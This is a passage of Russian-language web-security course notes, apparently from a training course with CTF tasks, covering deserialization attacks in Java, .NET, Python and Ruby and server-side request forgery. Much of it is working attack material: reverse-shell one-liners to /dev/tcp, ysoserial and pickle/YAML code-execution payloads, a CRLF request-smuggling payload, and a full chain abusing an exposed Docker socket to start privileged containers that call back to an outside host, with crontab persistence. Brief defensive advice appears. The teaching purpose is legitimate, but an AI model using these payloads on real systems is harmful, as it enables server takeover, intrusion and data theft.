IP>",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); Java deserialization - Runtime.exec 3. Использовать фишку ‘/bin/bash -c $*|’, описанную вот тут: (самый удобный) https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html ![](https://i.imgur.com/jYCab26.png) ![](https://i.imgur.com/Nmmi1nd.png) приведет к тому что будет выполнена эта команда %@ - все параметры скрипта ![](https://i.imgur.com/SLFsnpB.png) ![](https://i.imgur.com/9r2N1bS.png) ![](https://i.imgur.com/FyVGO2E.png) Передаст все параметры в sh ![](https://i.imgur.com/aSHejPU.png) пример ![](https://i.imgur.com/OvlJR3K.png) Run Time exec - разберет конструкцию, а шелл соберет https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html ```docker run ysoserial CommonsCollections1 '/bin/bash -c $*|/bin/bash x echo /bin/bash -i > /dev/tcp/<your_ip>/1337 0<&1 2>&1' | base64``` **$*(аналог $@)** - CОбирает через пробел ![](https://i.imgur.com/fFR4Mza.png) Далее собирае без переносов строки, копируем в бурп и поднимаем листенер ![](https://i.imgur.com/3PUP6rh.png) ## Java deserialization - Как защищаться? Не диссеарилизовывать недоверенные данные Основная защита - разрешение на загрузку только определенных классов в десеализации. В стандартной реализации отсутствует. Можно рекомендовать делать с помощью библиотеки https://github.com/ikkisoft/SerialKiller. ![](https://i.imgur.com/4dXMl8O.png) Рекомендации от безопасников - заблочить в white list , чем в black list ## .Net serialization soap, xml, bin refrmater - сериализаторы .Net serialization Статья и видео от автора ysoserial.net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf https://www.youtube.com/watch?v=eDfGpu3iE4Q ## .Net deserialization - known gadgets ysoserial.net - инструмент для составления цепочек гаджетов для различных сериализаторов .Net. https://github.com/pwntester/ysoserial.net Годится для кучи разных форматоров ![](https://i.imgur.com/dxgHPMk.png) На sharePoint - во внутрянке на любом объекте сможем пробить и дальше зависит от СVE (view state генерирует) ## Python Pickle and Yaml ## Python pickle **pickle** - сериализатор в python. Если сериализуется picle - это всегда RCE Если атакующий контролирует данные, попадающие в pickle, то он может выполнить произвольный код. Python pickle ## Генератор эксплойтов ``` import base64 import pickle import os class Exploit(object): def __reduce__(self): return (os.system, ('cat /etc/passwd',)) print (pickle.dumps(Exploit(),protocol=3)) protocol - версия пикла ``` ![](https://i.imgur.com/50QDhxQ.png) ![](https://i.imgur.com/ZLyrXLS.png) ![](https://i.imgur.com/2LEo1m3.png) конструкция - формат байтс питона ## Python pickle Результат будет различаться для разных версий protocol. Информация: https://docs.python.org/3/library/pickle.html#data-stream-format ![](https://i.imgur.com/ynrfyIi.png) В зависимости от питона - надо выбрать протоколы Сериализация pickle ОС **зависима**. Если результат восстанавливается на Linux, то и создавать пэйлоад нужно на Linux, Windows не сработает Для кодирования в base64: python Подсказка для решения задачки ``` import base64 print (base64.b64encode(pickle.dumps(......))) ``` ## Python yaml Стандартный модуль работы с yaml поддерживает две функции: - yaml.load - позволяет выполнить произвольный код. - yaml.safe_load - безопасный аналог ## Python yaml Пример эксплойта ``` --- !!map { ? !!str "goodbye" : !!python/object/apply:os.system ["ls"], } ``` ``` import yaml yaml.load(open('1.yml'),Loader=yaml.Loader) ``` <пример> ![](https://i.imgur.com/JERzgVQ.png) ![](https://i.imgur.com/VxSEDTv.png) ## Ruby - Yaml.load ``` --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source::SpecificFile spec: &1 !ruby/object:Gem::StubSpecification loaded_from: "| bash -c \"sh -i >& /dev/tcp/127.0.0.1/5555 0>&1\"" - !ruby/object:Gem::Source::SpecificFile spec: ``` ``` require "yaml" YAML.load(File.read("p.yml")) ``` <пример> ![](https://i.imgur.com/EgZ4q1E.png) ![](https://i.imgur.com/Xr6AoPx.png) Задания на CTFd (http://psorokin.ru) тест для самопроверки в LMS # Занятие 11. Уязвимость Server Side Request Forgery. Вторник, 23 августа 2022г., с 19:00 до 22:00 (МСК) Изучение уязвимостей Server Side Request Forgery, защита веб-приложения от обращений к внутренним ресурсам. https://hackmd.io/ZusvfzzTSX28EqTRZCYmvA SSRF Server Side Request Forgery - подделка запроса ## A10:2021-Server-Side Request Forgery Атака, при которой атакующий заставляет уязвимый веб-сервер выполнять полезные для него сетевые запросы. ## SSRF Реализация атаки SSRF может позволить: - выполнять запросы на недоступные из внешней сети ресурсы - сканировать внутреннюю сеть - обходить проверки и ограничения ## SSRF возникает Возникает когда атакующий может передать в параметрах URL-адрес или DNS-имя + порт, ip adress или другие “координаты” сервиса и уязвимое веб-приложение использует их для выполнения запроса. (пример: подгружает ссылку в личный кабинет на свой сайт ) SSRF <обзор docker-compose (маленький аркестратор докера), пример базовый, задание Simple> Внутри файла описывает локалльную сеть http://csr8.psorokin.ru:8110/ basic ![](https://i.imgur.com/i05Klty.png) http://elastic:9200 ![](https://i.imgur.com/BTnczt7.png) elastic search - бд, в которой хранятся логи, трейсы. Имеет специальный формат , разные форматы в него заводят. http://csr8.psorokin.ru/challenges#Simple-60 Simple 201 Прочитайте флаг с хоста internal_web http://csr8.psorokin.ru:8110/ssrf_insecure.php ![](https://i.imgur.com/C1Yz5bN.png) прочитали флаг с хоста, перейдя по ссылке http://internal_web SSRF <пример elasticsearch> http://elastic:9200/_cat/indices - список индексов ![](https://i.imgur.com/tWCASPG.png) прочитали индекс http://elastic:9200/new_index/_search ![Uploading file..._bc7p63cj1]() ![](https://i.imgur.com/JBatPjg.png) http://host:9200/index1/_search - вывод данных в индексе Документации: https://www.elastic.co/guide/en/elasticsearch/reference/current/search-search.html Через эластик можно много выводить, но не все ``` Elastic 201 На внутреннем хосте elastic открыт порт elasticsearch 9200. Используя http://csr8.psorokin.ru:8110/ssrf_insecure.php обратитесь к elastic, найдите нужный индекс и прочитайте флаг. ``` http://elastic:9200/ind3x_with_fl4g/_search ind3x_with_fl4g hackeru{3El4sST1IcC} ![](https://i.imgur.com/omk4aLv.png) ## SSRF Blind #ssrf_blind Атакующий может отправлять запросы на ресурсы внутренней сети и анализировать ответы или время получения ответа. <Пример Blind SSRF: Сканирование портов> Как понять что есть во внутренней сети - отправляемся в BURP Брутим айпи на порты http://csr8.psorokin.ru:8110/ssrf_scan.php ![](https://i.imgur.com/ApRniEI.png) Attack type: Cluster bomb - двойной брут ![](https://i.imgur.com/LYK67xg.png) в один список указываем порты, во второй - адрес ![](https://i.imgur.com/0HMJpqI.png) ![Uploading file..._4m587zc1r]() ![](https://i.imgur.com/bc5CtC7.png) ![](https://i.imgur.com/WZqgtDD.png) В реальности страницы отвечают долго и по времени можно определить что есть, а чего нет **columns - response ressive** - в бурпе отображает по времени ответа ![](https://i.imgur.com/PJd4yvM.png) CTRL + колонка - копируем колонку целивом в интрудер бурп МОжно сохранять таблицу - когда 2 пейлоада - это удобнее ## SSRF - адреса IP: 192.168.X.Y (х. - оставить 1-10 (ищем подсети), а y от 1 до 255. (22,80,445)) 172.X.0.Y ![](https://i.imgur.com/SRJzLCf.png) Если ничего не нашлось, то можно искать по всему диапазону. Также нужно попробовать DNS-имена из листов. ![](https://i.imgur.com/ZMppJdG.png) ![](https://i.imgur.com/743Str2.png) Может позволить найти ресурсы во внутренней сети без знания айпи 22,80,445 порты во внутренней сети - **быстрый скан** ## Обнаружение SSRF #ssrf Задаем координаты по которым делается запрос, то просто пытаемся менять и брутить внутренние ресурсы. Ищем хосты (загрузка аватарки по ссылке - раньше было - приложение ходило по ссылке и забирало в базу) / Когда надо куда сходить ## SSRF - CRLF injection (возврат каретки) /n/r Cтандартная штука Чтобы мы могли добавлять команды в текстовые протоколы или заголовки/тело в HTTP-запросы нам нужна возможность добавлять новые строки. Разделение/расщепление http запроса. ## SSRF - CRLF injection инъекция символов переноса строки Если цель - HTTP, и запрос мы контролируем не полностью, то мы можем отправить два запроса в одном TCP-соединении. HTTP-заголовок: **Connection: keep-alive** (если заголовок передается в запросе клиентом, то он не будет закрываться сразу, а будет ждать запроса в том же соединении) В хттп - 1 запрос -1 соединение Если он установлен, веб-приложение не будет разрывать соединение и выполнит второй HTTP-запрос в том же соединении. получаем 2 http ответа в 1 запросе ![](https://i.imgur.com/jDORXog.png) <пример с запросом на internal_web> SSRF - CRLF injection http://csr8.psorokin.ru:8110/ssrf_crlf.php открывается сокет и в него вставляется информация \r\n - окончание заголовка ![](https://i.imgur.com/afsDlfQ.png) ![](https://i.imgur.com/ZNgjZYV.png) ![](https://i.imgur.com/RZpQSch.png) ![](https://i.imgur.com/g60q6qp.png) <пример - удаление индекса в elasticsearch> в базе данных ## SSRF - упражнение http://csr8.psorokin.ru/challenges#Only%20localhost%20bypass-59 <Попасть в админскую секцию /admin.php через ssrf_check.php> http://csr8.psorokin.ru:8110/admin.php?source ![](https://i.imgur.com/VdQKHA6.png) Заставляем сервер отправить самому себе запрос [20:43] Павел Сорокин http://csr8.psorokin.ru:8110/admin.php [20:43] Павел Сорокин http://csr8.psorokin.ru:8110/ssrf_crlf.php ``` POST /ssrf_crlf.php HTTP/1.1 Host: csr8.psorokin.ru:8110 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 140 Origin: http://csr8.psorokin.ru:8110 Connection: close Referer: http://csr8.psorokin.ru:8110/ssrf_crlf.php Upgrade-Insecure-Requests: 1 auto_server=localhost&auto_server_port=80&VIN=xsds HTTP/1.1 Host: ya.ru Connection: keep-alive GET /admin.php HTTP/1.1 Host: ya.ru ``` ![](https://i.imgur.com/SwrYg4q.png) l0c41H0$T_CH3Ck_Bp$3D **Заставили сервер обойти защиту и прочитали флаг на странице /admin.php** Важно в данной атаке - 2 переноса строки после keep-alive и в конце после всего запроса - 2 переноса ![Uploading file..._58wad912g]() Можно по разному вставлять значения - несколько Бывают уязвимости библиотеки питона http://example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/... Была такая уязвимость в питоне ## SSRF - схемы #ssrf_schem Возможно полезные схемы: file:// data:// php:// ## SSRF - защита (1 идея) Веб-приложения для защиты от обращений к внутренним ресурсам могут проверять IP-адреса передаваемых URL, убеждаться что **они не локальные**. <пример> ![](https://i.imgur.com/3UAMhJM.png) Проверяет что айпи начинается с 192,172,127,10 Если атакующий заходит с айпи этих, то ему доступ закрыт. 169.254 - используется гугл клаудом и амазоном. В нем хранится мета-информация **Обход** Записать айпи адрес по другому - преобразовать айпи в число ![](https://i.imgur.com/0KyVxtJ.png) ![](https://i.imgur.com/sGE54gV.png) 2 ДНС ЗАПРОСА МОГУТ БЫТЬ В ЭТОМ КОДЕ ![Uploading file..._ia3hr4tcf]() - Необходимо развернуть свой ДНС сервер и реализовать атаку ## SSRF - DNS rebinding Веб-приложение выполняет 2 DNS запроса, один для проверки, другой для отправки запроса. Мы можем передать контролируемое доменное имя, DNS-ответы для которого будут изменяться. ## SSRF - DNS rebinding http://1u.ms/ - ресурс, позволяющие **реализовать** такую **атаку** ![](https://i.imgur.com/ZcZVlZM.png) ![](https://i.imgur.com/mYkkvb2.png) ![](https://i.imgur.com/iKxkwC0.png) ![](https://i.imgur.com/dcOu5Fb.png) Когда просто резолвим то обращаемся к А записи, а в данном случае он обратится к NS записи. Можно свой ДНС сервер поднять, но нужно доменное имя. ![](https://i.imgur.com/2CuQvCy.png) <пример обхода ssrf_check.php - читаем internal_web> ![Uploading file..._nx9wwhwkz]() ![Uploading file..._ae79795jb]() ![](https://i.imgur.com/H7zhGMT.png) **ОТ SSRF очень сложно защищаться** АТАКИ на URL parsing ! Изучить этот доклад https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf ## SSRF - атакуем докер Проверим что docker socket работает GET запрос на /v1.41/containers/json - список контейнеров /v1.41/images /json - список image SSRF - атакуем докер Билдим “злой” имадж FROM alpine RUN apk add bash ENTRYPOINT /bin/bash -c '/bin/bash -i &>/dev/tcp/$host/$port 0<&1' (можно пропустить этот шаг) SSRF - атакуем докер ![](https://i.imgur.com/MxB5KCl.png) Закрепимся Добавим в директорию ./ssh ![](https://i.imgur.com/NZUi92q.png) ![](https://i.imgur.com/Lx0vOWH.png) Смотрим трафик socat -v -ls TCP-LISTEN:2375,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock ## SSRF - атакуем докер Запускаем привелигированный контейнер с нашим имаджем docker -H 127.0.0.1:2375 run --privileged --net host -v /:/mnt -e host=psorokin.ru -e port=3333 cth123123/docker_bomb Или используем стандарный image с прописанной командой: docker -H 127.0.0.1:2375 run --rm --privileged --net host -v /:/mnt ubuntu bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3333 <&1' ## SSRF - атакуем докер docker -H 127.0.0.1:2376 run --privileged --net=host -v /:/mnt ubuntu /bin/bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1' ![](https://i.imgur.com/MJYoyqt.png) ``` [19:48] Павел Сорокин POST /v1.41/containers/create HTTP/1.1 Host: 127.0.0.1:2376 User-Agent: Docker-Client/20.10.12 (linux) Content-Length: 1596 Content-Type: application/json {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["/bin/bash","-c","/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1"],"Image":"ubuntu","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"host","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":true,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}},"Platform":null} [19:48] Павел Сорокин POST /v1.41/containers/5c778ec1d3dd4179b8e17f59717f2ce0f55d3d8d9979e827ff0433c06da644f2/start HTTP/1.1 Host: 127.0.0.1:2376 User-Agent: Docker-Client/20.10.12 (linux) Content-Length: 0 Content-Type: text/plain ``` Повторяем все запросы: скачать image создать контейнер стартануть контейнер Скачать image: POST /v1.41/images/create?fromImage=cth123123%2Fdocker_bomb&tag=latest HTTP/1.1 Host: 127.0.0.1:2376 User-Agent: Docker-Client/20.10.12 (linux) Content-Length: 0 Content-Type: text/plain Создать контейнер: POST /v1.41/containers/create HTTP/1.1 Host: 127.0.0.1:2375 User-Agent: Docker-Client/20.10.8 (darwin) Content-Length: 1574 Content-Type: application/json {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["port=3333","host=psorokin.ru"],"Cmd":null,"Image":"cth123123/docker_bomb","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"host","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":true,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}},"Platform":null} Запустить контейнер: POST /v1.41/containers/7053302d715c66e584051a4d9977d16df62451b5dd339f8923dfce3bcb5f1dab/start HTTP/1.1 Host: 127.0.0.1:2375 User-Agent: Docker-Client/20.10.8 (darwin) Content-Length: 0 Content-Type: text/plain **Докер открывается на порту 2375/2376** Если докер доступен без аутентификации - это позволяет захватить сервер, через SSRF. Если находимся в одной сети с машиной, на которой поднят докер клиент - то обращение к докеру будет такое - ssh docker -H 127.0.0.1:2375 (обращение к докеру по сети ) **Удаленный запрос к докер сокету** Залистим какие контейнеры есть. GET /v1.41/containers/json - залистим какие контейнеры есть GET /v1.41/images/json - какие имаджи были скачаны ![Uploading file..._0wb6qmzal]() ![](https://i.imgur.com/OElBqis.png) тут есть имедж убунты. Перехватываем трафик: socat - перенаправляет трафик, выступает как докер сокет. ![](https://i.imgur.com/4d3pBcX.png) Делаем запуск привилигированного контейнера с реверс шеллом ![](https://i.imgur.com/6aLZefn.png) - docker -H 127.0.0.1:2376 run --privileged --net=host -v /:/mnt ubuntu /bin/bash -c '/bin/bash -i &>/dev/tcp/csr8.psorokin.ru/3344 <&1' ![](https://i.imgur.com/JT6wzXa.jpg) контейнер создался и выдал его идентификатор. Старт контейнера ![](https://i.imgur.com/o9FQ8RN.png) И ловим шелл неткатом. **Закрепляемся** через crontab![](https://i.imgur.com/NT9gQkY.png) ![](https://i.imgur.com/ign8GgG.png) ## SSRF - материалы #ssrf_cheat_sheet **SSRF bible** https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf A New Era of SSRF (video) A New Era of SSRF (slides) ## SSRF - Blind SSRF называется слепым, если мы не видим ответ от сервера. Сначала сканим во внутренней сети порты. Потом засылаем запросы - ниже по ссылке. Если на запрос получили ответ, то это соответсвующая атака. https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ ## SSRF - Windows Атакующий может заставить веб-сервер перейти по ссылке по протоколу SMB или по HTTP и затребовать SMB-аутентификацию. ( Если сервис крутится под локальной системой, то это дает захват машины) В результате: - хэш netntlm машины - SMB-relay ## SSRF - Защита - По возможности избегайте необходимости запросов по контролируемым пользователем координатам; - Если все же программируем, то: Разберите URL на части, далее используйте только эти части Разрезолвите домен, далее используйте IP, не используйте домен Подставьте нужный домен в заголовок Host при запросе ## SSRF - Hardening - защита - Создайте специальный изолированный контейнер, который не будет иметь доступ во внутреннюю сеть и поднимите на нем микросервис - Отключите ненужные вам схемы Отправка почты с SSRF ![](https://i.imgur.com/fCWMA9u.png) Register - зарегестрироваться а потом войти в приложение (несколько запросов) Лекции 12-16 https://hackmd.io/@Mart/r1BJz2jys